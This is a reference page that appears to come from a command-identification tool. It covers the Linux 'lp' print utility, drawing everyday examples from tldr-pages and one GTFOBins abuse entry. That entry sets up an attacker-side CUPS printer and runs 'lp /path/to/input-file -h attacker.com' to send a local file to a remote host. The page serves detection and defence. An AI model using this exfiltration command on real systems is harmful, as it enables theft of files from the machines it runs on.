Identifier / Programs / Linux and Unix

lp

Print files. tldr-pages

GTFOBins upload 1 documented command

How lp is abused

documented by GTFOBins

upload

-h

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for lp.

1 documented command

from GTFOBins, each read by the identifier

upload unprivileged, with sudo, as SUID

This requires cups to be installed. Run the following on the attacker box beforehand:

lpadmin -p printer -v socket://localhost -E to create a virtual printer;
lpadmin -d printer to set the new printer as default;
cupsctl --remote-any to enable printing from the Internet.

lp /path/to/input-file -h attacker.com

Identify

The command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for lp. The identifier reads the line that runs lp.

Everyday use

from tldr-pages, CC BY 4.0

Print the output of a command to the default printer (see lpstat command)

echo "test" | lpIdentify

Print a file to the default printer

lp path/to/fileIdentify

Print a file to a named printer (see lpstat command)

lp -d printer_name path/to/fileIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.

lp

How lp is abused

1 documented command

Everyday use

Other programs abused for upload